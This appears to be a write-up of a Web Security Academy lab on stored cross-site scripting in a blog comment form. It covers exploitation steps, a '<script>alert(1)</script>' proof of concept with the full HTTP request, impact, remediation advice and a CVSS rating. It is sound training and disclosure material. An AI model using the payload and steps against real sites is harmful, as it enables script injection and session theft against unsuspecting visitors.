

Title of Issue

Stored Cross-Site Scripting (XSS) in HTML Context with No Encoding

Description

The application's blog comment functionality stores user-submitted comments and renders them back to all visitors without HTML encoding. An attacker can submit a comment containing a malicious `<script>` tag, which is permanently stored in the application's database. Every user who subsequently visits the blog post automatically executes the attacker's JavaScript in their browser — without requiring any interaction beyond page load.

Affected Endpoint: `POST /post/comment` **Vulnerable Parameter:** `comment` **Trigger:** `GET /post?postId=<id>` (any visitor viewing the post)

Steps to Exploit

1. Navigate to any blog post on the application.
2. Scroll to the comment section at the bottom of the post.
3. Enter the following XSS payload in the **Comment** field:

```
<script>alert(1)</script>
```

4. Fill in the remaining required fields (Name, Email) with any valid values.
 5. Submit the comment form.
 6. Reload the blog post page.
 7. Observe that an alert dialog fires automatically when the page loads, confirming stored script execution.
-

Proof of Concept

Payload (comment field):

```
<script>alert(1)</script>
```

HTTP Request:

```
POST /post/comment HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

csrf=
<token>&postId=1&comment=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&name=hacker&email=hack
```

Stored HTML (after submission, excerpt):

```
<section class="comment">
  <p><script>alert(1)</script></p>
```

```
<p>hacker | hacker@test.com</p>
</section>
```

When any user loads the blog post, the browser parses the stored `<script>` tag and executes `alert(1)` .

Key difference from Reflected XSS: The payload is **stored permanently** in the database. Every subsequent visitor to the page automatically executes the JavaScript — no crafted link is required.

Impact

- **Mass session hijacking** — steals cookies from every user who views the compromised post.
- **Credential phishing** — inject a fake login overlay targeting all visitors.
- **Worm propagation** — self-replicating XSS that posts itself to new comments automatically.
- **Admin account compromise** — if an administrator views the page, their privileged session is stolen.
- **Persistent and wide-reaching** — affects all users indefinitely until the payload is removed from the database.

Mitigation / Remediation

1. **HTML-encode all stored user content** before rendering — encode `<` , `>` , `"` , `'` , and `&` .
2. **Implement a strict Content Security Policy (CSP)** to block inline script execution.
3. **Sanitize rich text input server-side** using a proven allowlist-based HTML sanitizer (e.g., DOMPurify).
4. **Set HttpOnly on session cookies** to prevent JavaScript-based cookie theft.
5. **Moderate comments before publication** for sensitive or high-traffic applications.

CVSS Score

CVSS v3.1 Score: 6.1 (Medium) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Payload delivered and triggered over the internet
Attack Complexity	Low	Simple payload, widely reachable
Privileges Required	None	Comment submission requires no authentication
User Interaction	Required	Victim must visit the page (passive interaction)
Scope	Changed	Script executes in victims' browsers
Confidentiality Impact	Low	Session tokens and page data can be accessed
Integrity Impact	Low	Page content can be modified in the victim's browser
Availability Impact	None	No denial of service